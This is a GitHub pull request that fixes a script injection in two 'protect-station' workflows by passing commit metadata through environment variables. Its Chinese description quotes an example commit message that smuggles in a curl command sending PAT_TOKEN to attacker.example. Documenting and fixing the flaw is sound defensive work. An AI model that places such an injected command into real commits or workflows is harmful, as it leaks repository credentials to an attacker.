Repository navigation
fix: pass push metadata to protect-station workflows through env - #293
Merged
Merged
Conversation
The branch name, author name, author email and commit message were
expanded with ${{ }} straight into the run script. GitHub substitutes
those expressions as text before bash parses the script, so a commit
message containing a quote ran as shell inside the step that holds
PAT_TOKEN. Hand them over as environment variables instead; the script
reads the same values, now as data.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
問題
protect-station-csv.yml與protect-station-json.yml把下列值用${{ }}直接嵌進runscript：github.ref_name（分支名稱）github.actorgithub.event.commits[0].author.email/.author.namegithub.event.commits[0].messageGitHub 會先把表達式的文字替換進 script，才交給 bash 解析。所以提交訊息裡只要有一個
"，後面的內容就會被當成 shell 執行，而這個 step 的環境裡有PAT_TOKEN。例如提交訊息寫成x"; curl -d "$PAT_TOKEN" https://attacker.example; echo "，就能把 token 送出去。這兩個 workflow 只在 push 時觸發，fork 的 PR 碰不到，要有 repo 寫入權才能利用。但 PAT 的權限通常比這個 repo 大。
修改
改成透過 step 的
env:傳入，script 讀到的值不變，只是現在當成資料而不是程式碼。做法依照 GitHub 的建議：Security hardening: mitigating script injection。驗證
actionlint 1.7.12：
"github.event.commits.*.author.email" is potentially untrusted ... pass it through an environment variable剩下的
${{ github.repository }}是 repo 名稱，推送者改不了，所以保留不動。